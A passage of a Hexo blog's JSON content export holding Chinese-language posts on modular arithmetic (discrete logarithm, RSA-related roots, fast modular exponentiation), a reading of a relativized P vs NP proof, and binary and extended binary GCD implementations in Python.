gcd，也可以使用拉格朗日定理$a^{|s|}=e$（e是群S上的单位元），从而$a^{|s|-1}=a^{-1}$——因为每个元素都只有唯一逆元</p>\n</li>\n</ul>\n</li>\n</ul>\n","slug":"GF-2-n上算术运算的实现","categories":[{"name":"数学","slug":"数学","permalink":"https://h-zex.github.io/categories/数学/"},{"name":"密码学","slug":"数学/密码学","permalink":"https://h-zex.github.io/categories/数学/密码学/"}],"tags":[{"name":"GF2n","slug":"GF2n","permalink":"https://h-zex.github.io/tags/GF2n/"}]},{"title":"$x^y=z(mod\\ n) 的所有相关问题的解法$","date":"2018-10-18T10:45:58.000Z","path":"2018/10/18/y-z-mod-n-的所有相关问题的解法/","text":"以下$x$为未知数。所有数都是整数 $a^x=b(mod\\ n)$ 这是离散对数问题，是一个难的问题——Diffie-Hellman算法就依赖于该问题的难解性。 当$gcd(a, n)=n$时 如果$b=1$，则$x=0$，如果$b=0$，则x为任意正数 当$gcd(a,n)=1$时 使用baby-step giant-step算法，具体可以参考求解a^x=b(mod m) $x^a=b(mod\\ n)$ 这也是一个难的问题，目前并没有高效的通解，RSA算法就依赖于$n=pq$（p、q为质数）时x的难解性 $n$为质数时 根据费尔马小定理有$x^{n-1}=1(mod\\ n)$ 求解a在模$n-1$下的乘法逆元$b$，$x^{ab}=x^{1+k(n-1)}=x(mod\\ n)$ $n$为合数时 目前是没有通用的高效解的——不仅仅在$n=pq$（p、q为质数）时没有，而是$n$为任意合数时都没有 可以构造如下规约，使得如果$n$为多个（大于2个）质数的积时有高效解，那么RSA就被攻破。假设$y^e=c(mod\\ pq)$，即$y^e+kpq=c$，然后假设有一个算法，对于$n=rst$（r、s、t为任意质数）时有高效算法$T$，那么，我们两边乘以$t^e$得到 $y^e\\times t^e +kpqt^e=(yt)^e+kpqt^e=ct^e$，模上$pqt$，得到$(yt)^e=ct^e(mod\\ pqt)$，让算法$T$求解出$yt$，从而，我们得到了$y=yt\\times t^{-1}(mod\\ pqt)$ $a^b=x(mod\\ n)$ 快速模幂，算法如下 123456789101112def fastModulePow(x, y, n): \"\"\" :return: x**y mod n \"\"\" if y == 0: return 1 % n ans, x = 1 % n, x % n while y != 0: if (y & 1) == 1: ans = x * ans % n x, y = x * x % n, y // 2 return ans","raw":"---\ntitle: $x^y=z(mod\\ n) 的所有相关问题的解法$\ndate: 2018-10-18 18:45:58\ntags:\n- 离散对数\n- 快速幂\n- RSA\ncategories:\n- 数学\n- 密码学\n---\n\n> 以下$x$为未知数。所有数都是整数\n\n## $a^x=b(mod\\ n)$\n\n- 这是离散对数问题，是一个难的问题——Diffie-Hellman算法就依赖于该问题的难解性。\n\n#### 当$gcd(a, n)=n$时\n\n- 如果$b=1$，则$x=0$，如果$b=0$，则x为任意正数\n\n#### 当$gcd(a,n)=1$时\n\n- 使用baby-step giant-step算法，具体可以参考[求解a^x=b(mod m)](http://www.narutoacm.com/archives/solve-discrete-log/)\n\n## $x^a=b(mod\\ n)$\n\n- 这也是一个难的问题，目前并没有高效的通解，RSA算法就依赖于$n=pq$（p、q为质数）时x的难解性\n\n#### $n$为质数时\n\n- 根据费尔马小定理有$x^{n-1}=1(mod\\ n)$\n- 求解a在模$n-1$下的乘法逆元$b$，$x^{ab}=x^{1+k(n-1)}=x(mod\\ n)$\n\n#### $n$为合数时\n\n- 目前是没有**通用**的高效解的——不仅仅在$n=pq$（p、q为质数）时没有，而是$n$为任意合数时都没有\n- 可以构造如下规约，使得如果$n$为多个（大于2个）质数的积时有高效解，那么RSA就被攻破。假设$y^e=c(mod\\ pq)$，即$y^e+kpq=c$，然后假设有一个算法，对于$n=rst$（r、s、t为任意质数）时有高效算法$T$，那么，我们两边乘以$t^e$得到 $y^e\\times t^e +kpqt^e=(yt)^e+kpqt^e=ct^e$，模上$pqt$，得到$(yt)^e=ct^e(mod\\ pqt)$，让算法$T$求解出$yt$，从而，我们得到了$y=yt\\times t^{-1}(mod\\ pqt)$\n\n## $a^b=x(mod\\ n)$\n\n- 快速模幂，算法如下\n\n ```python\n def fastModulePow(x, y, n):\n \"\"\"\n :return: x**y mod n\n \"\"\"\n if y == 0:\n return 1 % n\n ans, x = 1 % n, x % n\n while y != 0:\n if (y & 1) == 1:\n ans = x * ans % n\n x, y = x * x % n, y // 2\n return ans\n ```\n\n","content":"<blockquote>\n<p>以下$x$为未知数。所有数都是整数</p>\n</blockquote>\n<h2 id=\"a-x-b-mod-n\"><a href=\"#a-x-b-mod-n\" class=\"headerlink\" title=\"$a^x=b(mod\\ n)$\"></a>$a^x=b(mod\\ n)$</h2><ul>\n<li>这是离散对数问题，是一个难的问题——Diffie-Hellman算法就依赖于该问题的难解性。</li>\n</ul>\n<h4 id=\"当-gcd-a-n-n-时\"><a href=\"#当-gcd-a-n-n-时\" class=\"headerlink\" title=\"当$gcd(a, n)=n$时\"></a>当$gcd(a, n)=n$时</h4><ul>\n<li>如果$b=1$，则$x=0$，如果$b=0$，则x为任意正数</li>\n</ul>\n<h4 id=\"当-gcd-a-n-1-时\"><a href=\"#当-gcd-a-n-1-时\" class=\"headerlink\" title=\"当$gcd(a,n)=1$时\"></a>当$gcd(a,n)=1$时</h4><ul>\n<li>使用baby-step giant-step算法，具体可以参考<a href=\"http://www.narutoacm.com/archives/solve-discrete-log/\" target=\"_blank\" rel=\"noopener\">求解a^x=b(mod m)</a></li>\n</ul>\n<h2 id=\"x-a-b-mod-n\"><a href=\"#x-a-b-mod-n\" class=\"headerlink\" title=\"$x^a=b(mod\\ n)$\"></a>$x^a=b(mod\\ n)$</h2><ul>\n<li>这也是一个难的问题，目前并没有高效的通解，RSA算法就依赖于$n=pq$（p、q为质数）时x的难解性</li>\n</ul>\n<h4 id=\"n-为质数时\"><a href=\"#n-为质数时\" class=\"headerlink\" title=\"$n$为质数时\"></a>$n$为质数时</h4><ul>\n<li>根据费尔马小定理有$x^{n-1}=1(mod\\ n)$</li>\n<li>求解a在模$n-1$下的乘法逆元$b$，$x^{ab}=x^{1+k(n-1)}=x(mod\\ n)$</li>\n</ul>\n<h4 id=\"n-为合数时\"><a href=\"#n-为合数时\" class=\"headerlink\" title=\"$n$为合数时\"></a>$n$为合数时</h4><ul>\n<li>目前是没有<strong>通用</strong>的高效解的——不仅仅在$n=pq$（p、q为质数）时没有，而是$n$为任意合数时都没有</li>\n<li>可以构造如下规约，使得如果$n$为多个（大于2个）质数的积时有高效解，那么RSA就被攻破。假设$y^e=c(mod\\ pq)$，即$y^e+kpq=c$，然后假设有一个算法，对于$n=rst$（r、s、t为任意质数）时有高效算法$T$，那么，我们两边乘以$t^e$得到 $y^e\\times t^e +kpqt^e=(yt)^e+kpqt^e=ct^e$，模上$pqt$，得到$(yt)^e=ct^e(mod\\ pqt)$，让算法$T$求解出$yt$，从而，我们得到了$y=yt\\times t^{-1}(mod\\ pqt)$</li>\n</ul>\n<h2 id=\"a-b-x-mod-n\"><a href=\"#a-b-x-mod-n\" class=\"headerlink\" title=\"$a^b=x(mod\\ n)$\"></a>$a^b=x(mod\\ n)$</h2><ul>\n<li><p>快速模幂，算法如下</p>\n<figure class=\"highlight python\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">def</span> <span class=\"title\">fastModulePow</span><span class=\"params\">(x, y, n)</span>:</span></span><br><span class=\"line\"> <span class=\"string\">\"\"\"</span></span><br><span class=\"line\"><span class=\"string\"> :return: x**y mod n</span></span><br><span class=\"line\"><span class=\"string\"> \"\"\"</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> y == <span class=\"number\">0</span>:</span><br><span class=\"line\"> <span class=\"keyword\">return</span> <span class=\"number\">1</span> % n</span><br><span class=\"line\"> ans, x = <span class=\"number\">1</span> % n, x % n</span><br><span class=\"line\"> <span class=\"keyword\">while</span> y != <span class=\"number\">0</span>:</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (y & <span class=\"number\">1</span>) == <span class=\"number\">1</span>:</span><br><span class=\"line\"> ans = x * ans % n</span><br><span class=\"line\"> x, y = x * x % n, y // <span class=\"number\">2</span></span><br><span class=\"line\"> <span class=\"keyword\">return</span> ans</span><br></pre></td></tr></table></figure>\n</li>\n</ul>\n","slug":"y-z-mod-n-的所有相关问题的解法","categories":[{"name":"数学","slug":"数学","permalink":"https://h-zex.github.io/categories/数学/"},{"name":"密码学","slug":"数学/密码学","permalink":"https://h-zex.github.io/categories/数学/密码学/"}],"tags":[{"name":"离散对数","slug":"离散对数","permalink":"https://h-zex.github.io/tags/离散对数/"},{"name":"快速幂","slug":"快速幂","permalink":"https://h-zex.github.io/tags/快速幂/"},{"name":"RSA","slug":"RSA","permalink":"https://h-zex.github.io/tags/RSA/"}]},{"title":"对Introduction to the Theory of Computation 3rd Theorem 9.20 的一些理解","date":"2018-09-29T06:45:15.000Z","path":"2018/09/29/对ITOC-3rd-Theorem-9-20-的一些理解/","text":"证明中，通过枚举所有的P时间内运行的图灵机，然后利用对角化方法，来构造集合$A$，使得对于某一个$M_i$和某一个选定的$n$，要么$M_i$识别$1^n$，但是$A$不包含长度为n的字符串，要么$M_i$不识别$1^n$，但是$A$包含某一个长度为n的字符串。并且，为了使得$M_i$与$n$可以一一对应，要求所选取的$n$单调增长 按照文中描述的方法，构造似乎可以成立。但是，有一个重要的地方作者没有提及——无论集合$A$是否构造好，我们都应该可以运行任意一台$M_i$，$M_i$行为要保持一致 在我们运行$M_i$来构造集合$A$ 的过程中，每次$M_i$查询orcale，orcale都会因为长度为$n$ 的字符串尚未被决定是否加进去集合$A$而回答NO，不过，如果我们决定长度为$n$的字符串是否加进去集合$A$中后，orcale会如实回答。那么，在长度为n的字符串被决定是否加进去集合$A$之前和之后，orcale对某些字符串的回答不一致是否会导致$M_i$ 的行为改变，从而本来$M_i$不识别$1^n$，现在却识别了$1^n$，或者相反 可以证明，无论$A$是否构造好，$M_i$的行为还是会保持一致 一开始，长度为$n$的字符串还没有加进去时，orcale都是回答NO，所以： 如果$M_i$不识别$1^n$，我们就给$A$加进去一个$M_i$没有询问到长度为n的字符串，从而，虽然集合$A$现在有了长度为$n$的字符串，但是，对于输入$1^n$，$M_i$对orcale的询问的答案依然全部是NO——因为输入确定，$M_i$确定，所以$M_i$究竟会询问orcale哪些字符串也是确定的——只要我们保证对询问的回答是一致的 如果$M_i$识别$1^n$，那么我们根本就不会给集合$A$加进去长度为$n$的字符串，那么，对于输入$1^n$，orcale对$M_i$的询问的结果依然全部是NO 这个证明要成立还有一个很重要的地方，图灵机是可数个的，因为对于每一台$M_i$，我们都使用独特的$n$，那么，如果图灵机有不可数个，这个一一对应关系就无法建立。","raw":"---\ntitle: 对Introduction to the Theory of Computation 3rd Theorem 9.20 的一些理解\ndate: 2018-09-29 14:45:15\ntags:\n- 图灵机\n- P与NP\n- 对角化\ncategories:\n- 计算理论\n---\n\n- {% asset_img 1.png %}\n- 证明中，通过枚举所有的P时间内运行的图灵机，然后利用对角化方法，来构造集合$A$，使得对于某一个$M_i$和某一个选定的$n$，要么$M_i$识别$1^n$，但是$A$不包含长度为n的字符串，要么$M_i$不识别$1^n$，但是$A$包含某一个长度为n的字符串。并且，为了使得$M_i$与$n$可以一一对应，要求所选取的$n$单调增长\n- 按照文中描述的方法，构造似乎可以成立。但是，有一个重要的地方作者没有提及——**无论集合$A$是否构造好，**我们都应该可以运行任意一台$M_i$，$M_i$行为要保持一致\n- 在我们运行$M_i$来构造集合$A$ 的过程中，每次$M_i$查询orcale，orcale都会因为长度为$n$ 的字符串尚未被决定是否加进去集合$A$而回答NO，不过，如果我们决定长度为$n$的字符串是否加进去集合$A$中后，orcale会如实回答。那么，在长度为n的字符串被决定是否加进去集合$A$之前和之后，orcale对某些字符串的回答不一致是否会导致$M_i$ 的行为改变，从而本来$M_i$不识别$1^n$，现在却识别了$1^n$，或者相反\n- 可以证明，无论$A$是否构造好，$M_i$的行为还是会保持一致\n- 一开始，长度为$n$的字符串还没有加进去时，orcale都是回答NO，所以：\n - 如果$M_i$不识别$1^n$，我们就给$A$加进去一个$M_i$没有询问到长度为n的字符串，从而，虽然集合$A$现在有了长度为$n$的字符串，但是，对于输入$1^n$，$M_i$对orcale的询问的答案依然全部是NO——因为输入确定，$M_i$确定，所以$M_i$究竟会询问orcale哪些字符串也是确定的——只要我们保证对询问的回答是一致的\n - 如果$M_i$识别$1^n$，那么我们根本就不会给集合$A$加进去长度为$n$的字符串，那么，对于输入$1^n$，orcale对$M_i$的询问的结果依然全部是NO\n- 这个证明要成立还有一个很重要的地方，图灵机是可数个的，因为对于每一台$M_i$，我们都使用独特的$n$，那么，如果图灵机有不可数个，这个一一对应关系就无法建立。\n","content":"<ul>\n<li><img src=\"/2018/09/29/对ITOC-3rd-Theorem-9-20-的一些理解/1.png\"></li>\n<li>证明中，通过枚举所有的P时间内运行的图灵机，然后利用对角化方法，来构造集合$A$，使得对于某一个$M_i$和某一个选定的$n$，要么$M_i$识别$1^n$，但是$A$不包含长度为n的字符串，要么$M_i$不识别$1^n$，但是$A$包含某一个长度为n的字符串。并且，为了使得$M_i$与$n$可以一一对应，要求所选取的$n$单调增长</li>\n<li>按照文中描述的方法，构造似乎可以成立。但是，有一个重要的地方作者没有提及——<strong>无论集合$A$是否构造好，</strong>我们都应该可以运行任意一台$M_i$，$M_i$行为要保持一致</li>\n<li>在我们运行$M_i$来构造集合$A$ 的过程中，每次$M_i$查询orcale，orcale都会因为长度为$n$ 的字符串尚未被决定是否加进去集合$A$而回答NO，不过，如果我们决定长度为$n$的字符串是否加进去集合$A$中后，orcale会如实回答。那么，在长度为n的字符串被决定是否加进去集合$A$之前和之后，orcale对某些字符串的回答不一致是否会导致$M_i$ 的行为改变，从而本来$M_i$不识别$1^n$，现在却识别了$1^n$，或者相反</li>\n<li>可以证明，无论$A$是否构造好，$M_i$的行为还是会保持一致</li>\n<li>一开始，长度为$n$的字符串还没有加进去时，orcale都是回答NO，所以：<ul>\n<li>如果$M_i$不识别$1^n$，我们就给$A$加进去一个$M_i$没有询问到长度为n的字符串，从而，虽然集合$A$现在有了长度为$n$的字符串，但是，对于输入$1^n$，$M_i$对orcale的询问的答案依然全部是NO——因为输入确定，$M_i$确定，所以$M_i$究竟会询问orcale哪些字符串也是确定的——只要我们保证对询问的回答是一致的</li>\n<li>如果$M_i$识别$1^n$，那么我们根本就不会给集合$A$加进去长度为$n$的字符串，那么，对于输入$1^n$，orcale对$M_i$的询问的结果依然全部是NO</li>\n</ul>\n</li>\n<li>这个证明要成立还有一个很重要的地方，图灵机是可数个的，因为对于每一台$M_i$，我们都使用独特的$n$，那么，如果图灵机有不可数个，这个一一对应关系就无法建立。</li>\n</ul>\n","slug":"对ITOC-3rd-Theorem-9-20-的一些理解","categories":[{"name":"计算理论","slug":"计算理论","permalink":"https://h-zex.github.io/categories/计算理论/"}],"tags":[{"name":"图灵机","slug":"图灵机","permalink":"https://h-zex.github.io/tags/图灵机/"},{"name":"P与NP","slug":"P与NP","permalink":"https://h-zex.github.io/tags/P与NP/"},{"name":"对角化","slug":"对角化","permalink":"https://h-zex.github.io/tags/对角化/"}]},{"title":"Binary GCD And Extend Binary GCD","date":"2018-09-17T13:58:41.000Z","path":"2018/09/17/Binary-GCD-And-Extend-Binary-GCD/","text":"Binary GCD 代码 1234567891011121314151617181920212223def binaryGCD(x, y): x, y = abs(x), abs(y) if x == 0 or y == 0: return x + y if x == y: return x cnt = 0 # this cycle is O(N^2)(assume that N = max(lgx, lgy)) while ((x & 1) | (y & 1)) == 0: cnt += 1 x = x >> 1 y = y >> 1 # the y below is surely odd # when x-y, x and y are odd, so x will become even # so the x>>1 will be run every cycles # so this cycle is O(N^2) while x != 0: while (x & 1) == 0: x = x >> 1 if y > x: x, y = y, x x, y = x - y, y return y * (1 << cnt) 复杂度分析：设$n=max(bitlen(x), bitlen(y))$。17行开始的循环中，因为y必然为奇数，所以x-y为偶数，所以第18行的循环在每次外层循环运行一次时都至少运行一次，所以有$O(n)$次循环，每次循环需要$O(n)$的均摊复杂度——因为第18行的每次都是$O(n)$的复杂度，然后整个算法中这种移位最多有$O(n)$次，所以，整个算法复杂度为$O(n^2)$ trivial 版本的GCD如下 1234def GCD(x, y): while y != 0: x, y = y, x % y return x 需要$O(n^3)$的复杂度 Extend Binary GCD 代码，引用自 1234567891011121314151617181920212223242526272829303132333435363738394041424344def extendBinaryGCD(a, b): \"\"\"Extended binary GCD. Given input a, b the function returns s, t, d such that gcd(a,b) = d = as + bt.\"\"\" if a == 0: return 0, 1, b if b == 0: return 1, 0, a if a == b: return 1, 0, a u, v, s, t, r = 1, 0, 0, 1, 0 while (a % 2 == 0) and (b % 2 == 0): a, b, r = a // 2, b // 2, r + 1 alpha, beta = a, b # # from here on we maintain a = u * alpha + v * beta # and b = s * alpha + t * beta # while a % 2 == 0: # v is always even a = a // 2 if (u % 2 == 0) and (v % 2 == 0): u, v = u // 2, v // 2 else: u, v = (u + beta) // 2, (v - alpha) // 2 while a != b: if b % 2 == 0: b = b // 2 # # Commentary: note that here, since b is even, # (i) if s, t are both odd then so are alpha, beta # (ii) if s is odd and t even then alpha must be even, so beta is odd # (iii) if t is odd and s even then beta must be even, so alpha is odd # so for each of (i), (ii) and (iii) s + beta and t - alpha are even # if (s % 2 == 0) and (t % 2 == 0): s, t = s // 2, t // 2 else: s, t = (s + beta) // 2, (t - alpha) // 2 elif b < a: a, b, u, v, s, t = b, a, s, t, u, v else: b, s, t = b - a, s - u, t - v return s, t, (2 ** r) * a 思路：从19行开始，维护式子b=s*alpha+t*beta 的成立——可以验证，每次s、t更改后，式子还是成立","raw":"---\ntitle: Binary GCD And Extend Binary GCD\ndate: 2018-09-17 21:58:41\ntags:\n- 欧几里得算法\n- 扩展欧几里得\n- 二进制欧几里得算法\ncategories:\n- 数学\n- 密码学\n---\n\n## Binary GCD\n\n- 代码\n\n ```python\n def binaryGCD(x, y):\n x, y = abs(x), abs(y)\n if x == 0 or y == 0:\n return x + y\n if x == y:\n return x\n cnt = 0\n # this cycle is O(N^2)(assume that N = max(lgx, lgy))\n while ((x & 1) | (y & 1)) == 0:\n cnt += 1\n x = x >> 1\n y = y >> 1\n # the y below is surely odd\n # when x-y, x and y are odd, so x will become even\n # so the x>>1 will be run every cycles\n # so this cycle is O(N^2)\n while x != 0:\n while (x & 1) == 0:\n x = x >> 1\n if y > x:\n x, y = y, x\n x, y = x - y, y\n return y * (1 << cnt)\n ```\n\n- 复杂度分析：设$n=max(bitlen(x), bitlen(y))$。17行开始的循环中，因为`y`必然为奇数，所以`x-y`为偶数，所以第18行的循环在每次外层循环运行一次时都至少运行一次，所以有$O(n)$次循环，每次循环需要$O(n)$的均摊复杂度——因为第18行的每次都是$O(n)$的复杂度，然后整个算法中这种移位最多有$O(n)$次，所以，整个算法复杂度为$O(n^2)$\n\n- trivial 版本的GCD如下\n\n ```python\n def GCD(x, y):\n while y != 0:\n x, y = y, x % y\n return x\n ```\n\n 需要$O(n^3)$的复杂度\n\n## Extend Binary GCD\n\n- 代码，[引用自](http://www.ucl.ac.uk/~ucahcjm/combopt/ext_gcd_python_programs.pdf)\n\n ```python\n def extendBinaryGCD(a, b):\n \"\"\"Extended binary GCD.\n Given input a, b the function returns s, t, d\n such that gcd(a,b) = d = as + bt.\"\"\"\n if a == 0:\n return 0, 1, b\n if b == 0:\n return 1, 0, a\n if a == b:\n return 1, 0, a\n u, v, s, t, r = 1, 0, 0, 1, 0\n while (a % 2 == 0) and (b % 2 == 0):\n a, b, r = a // 2, b // 2, r + 1\n alpha, beta = a, b\n #\n # from here on we maintain a = u * alpha + v * beta\n # and b = s * alpha + t * beta\n #\n while a % 2 == 0:\n # v is always even\n a = a // 2\n if (u % 2 == 0) and (v % 2 == 0):\n u, v = u // 2, v // 2\n else:\n u, v = (u + beta) // 2, (v - alpha) // 2\n while a != b:\n if b % 2 == 0:\n b = b // 2\n #\n # Commentary: note that here, since b is even,\n # (i) if s, t are both odd then so are alpha, beta\n # (ii) if s is odd and t even then alpha must be even, so beta is odd\n # (iii) if t is odd and s even then beta must be even, so alpha is odd\n # so for each of (i), (ii) and (iii) s + beta and t - alpha are even\n #\n if (s % 2 == 0) and (t % 2 == 0):\n s, t = s // 2, t // 2\n else:\n s, t = (s + beta) // 2, (t - alpha) // 2\n elif b < a:\n a, b, u, v, s, t = b, a, s, t, u, v\n else:\n b, s, t = b - a, s - u, t - v\n return s, t, (2 ** r) * a\n ```\n\n- 思路：从19行开始，维护式子b=s\\*alpha+t\\*beta 的成立——可以验证，每次s、t更改后，式子还是成立\n\n","content":"<h2 id=\"Binary-GCD\"><a href=\"#Binary-GCD\" class=\"headerlink\" title=\"Binary GCD\"></a>Binary GCD</h2><ul>\n<li><p>代码</p>\n<figure class=\"highlight python\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">def</span> <span class=\"title\">binaryGCD</span><span class=\"params\">(x, y)</span>:</span></span><br><span class=\"line\"> x, y = abs(x), abs(y)</span><br><span class=\"line\"> <span class=\"keyword\">if</span> x == <span class=\"number\">0</span> <span class=\"keyword\">or</span> y == <span class=\"number\">0</span>:</span><br><span class=\"line\"> <span class=\"keyword\">return</span> x + y</span><br><span class=\"line\"> <span class=\"keyword\">if</span> x == y:</span><br><span class=\"line\"> <span class=\"keyword\">return</span> x</span><br><span class=\"line\"> cnt = <span class=\"number\">0</span></span><br><span class=\"line\"> <span class=\"comment\"># this cycle is O(N^2)(assume that N = max(lgx, lgy))</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> ((x & <span class=\"number\">1</span>) | (y & <span class=\"number\">1</span>)) == <span class=\"number\">0</span>:</span><br><span class=\"line\"> cnt += <span class=\"number\">1</span></span><br><span class=\"line\"> x = x >> <span class=\"number\">1</span></span><br><span class=\"line\"> y = y >> <span class=\"number\">1</span></span><br><span class=\"line\"> <span class=\"comment\"># the y below is surely odd</span></span><br><span class=\"line\"> <span class=\"comment\"># when x-y, x and y are odd, so x will become even</span></span><br><span class=\"line\"> <span class=\"comment\"># so the x>>1 will be run every cycles</span></span><br><span class=\"line\"> <span class=\"comment\"># so this cycle is O(N^2)</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> x != <span class=\"number\">0</span>:</span><br><span class=\"line\"> <span class=\"keyword\">while</span> (x & <span class=\"number\">1</span>) == <span class=\"number\">0</span>:</span><br><span class=\"line\"> x = x >> <span class=\"number\">1</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> y > x:</span><br><span class=\"line\"> x, y = y, x</span><br><span class=\"line\"> x, y = x - y, y</span><br><span class=\"line\"> <span class=\"keyword\">return</span> y * (<span class=\"number\">1</span> << cnt)</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>复杂度分析：设$n=max(bitlen(x), bitlen(y))$。17行开始的循环中，因为<code>y</code>必然为奇数，所以<code>x-y</code>为偶数，所以第18行的循环在每次外层循环运行一次时都至少运行一次，所以有$O(n)$次循环，每次循环需要$O(n)$的均摊复杂度——因为第18行的每次都是$O(n)$的复杂度，然后整个算法中这种移位最多有$O(n)$次，所以，整个算法复杂度为$O(n^2)$</p>\n</li>\n<li><p>trivial 版本的GCD如下</p>\n<figure class=\"highlight python\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">def</span> <span class=\"title\">GCD</span><span class=\"params\">(x, y)</span>:</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> y != <span class=\"number\">0</span>:</span><br><span class=\"line\"> x, y = y, x % y</span><br><span class=\"line\"> <span class=\"keyword\">return</span> x</span><br></pre></td></tr></table></figure>\n<p>需要$O(n^3)$的复杂度</p>\n</li>\n</ul>\n<h2 id=\"Extend-Binary-GCD\"><a href=\"#Extend-Binary-GCD\" class=\"headerlink\" title=\"Extend Binary GCD\"></a>Extend Binary GCD</h2><ul>\n<li><p>代码，<a href=\"http://www.ucl.ac.uk/~ucahcjm/combopt/ext_gcd_python_programs.pdf\" target=\"_blank\" rel=\"noopener\">引用自</a></p>\n<figure class=\"highlight python\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br><span class=\"line\">32</span><br><span class=\"line\">33</span><br><span class=\"line\">34</span><br><span class=\"line\">35</span><br><span class=\"line\">36</span><br><span class=\"line\">37</span><br><span class=\"line\">38</span><br><span class=\"line\">39</span><br><span class=\"line\">40</span><br><span class=\"line\">41</span><br><span class=\"line\">42</span><br><span class=\"line\">43</span><br><span class=\"line\">44</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">def</span> <span class=\"title\">extendBinaryGCD</span><span class=\"params\">(a, b)</span>:</span></span><br><span class=\"line\"> <span class=\"string\">\"\"\"Extended binary GCD.</span></span><br><span class=\"line\"><span class=\"string\"> Given input a, b the function returns s, t, d</span></span><br><span class=\"line\"><span class=\"string\"> such that gcd(a,b) = d = as + bt.\"\"\"</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> a == <span class=\"number\">0</span>:</span><br><span class=\"line\"> <span class=\"keyword\">return</span> <span class=\"number\">0</span>, <span class=\"number\">1</span>, b</span><br><span class=\"line\"> <span class=\"keyword\">if</span> b == <span class=\"number\">0</span>:</span><br><span class=\"line\"> <span class=\"keyword\">return</span> <span class=\"number\">1</span>, <span class=\"number\">0</span>, a</span><br><span class=\"line\"> <span class=\"keyword\">if</span> a == b:</span><br><span class=\"line\"> <span class=\"keyword\">return</span> <span class=\"number\">1</span>, <span class=\"number\">0</span>, a</span><br><span class=\"line\"> u, v, s, t, r = <span class=\"number\">1</span>, <span class=\"number\">0</span>, <span class=\"number\">0</span>, <span class=\"number\">1</span>, <span class=\"number\">0</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> (a % <span class=\"number\">2</span> == <span class=\"number\">0</span>) <span class=\"keyword\">and</span> (b % <span class=\"number\">2</span> == <span class=\"number\">0</span>):</span><br><span class=\"line\"> a, b, r = a // <span class=\"number\">2</span>, b // <span class=\"number\">2</span>, r + <span class=\"number\">1</span></span><br><span class=\"line\"> alpha, beta = a, b</span><br><span class=\"line\"> <span class=\"comment\">#</span></span><br><span class=\"line\"> <span class=\"comment\"># from here on we maintain a = u * alpha + v * beta</span></span><br><span class=\"line\"> <span class=\"comment\"># and b = s * alpha + t * beta</span></span><br><span class=\"line\"> <span class=\"comment\">#</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> a % <span class=\"number\">2</span> == <span class=\"number\">0</span>:</span><br><span class=\"line\"> <span class=\"comment\"># v is always even</span></span><br><span class=\"line\"> a = a // <span class=\"number\">2</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (u % <span class=\"number\">2</span> == <span class=\"number\">0</span>) <span class=\"keyword\">and</span> (v % <span class=\"number\">2</span> == <span class=\"number\">0</span>):</span><br><span class=\"line\"> u, v = u // <span class=\"number\">2</span>, v // <span class=\"number\">2</span></span><br><span class=\"line\"> <span class=\"keyword\">else</span>:</span><br><span class=\"line\"> u, v = (u + beta) // <span class=\"number\">2</span>, (v - alpha) // <span class=\"number\">2</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> a != b:</span><br><span class=\"line\"> <span class=\"keyword\">if</span> b % <span class=\"number\">2</span> == <span class=\"number\">0</span>:</span><br><span class=\"line\"> b = b // <span class=\"number\">2</span></span><br><span class=\"line\"> <span class=\"comment\">#</span></span><br><span class=\"line\"> <span class=\"comment\"># Commentary: note that here, since b is even,</span></span><br><span class=\"line\"> <span class=\"comment\"># (i) if s, t are both odd then so are alpha, beta</span></span><br><span class=\"line\"> <span class=\"comment\"># (ii) if s is odd and t even then alpha must be even, so beta is odd</span></span><br><span class=\"line\"> <span class=\"comment\"># (iii) if t is odd and s even then beta 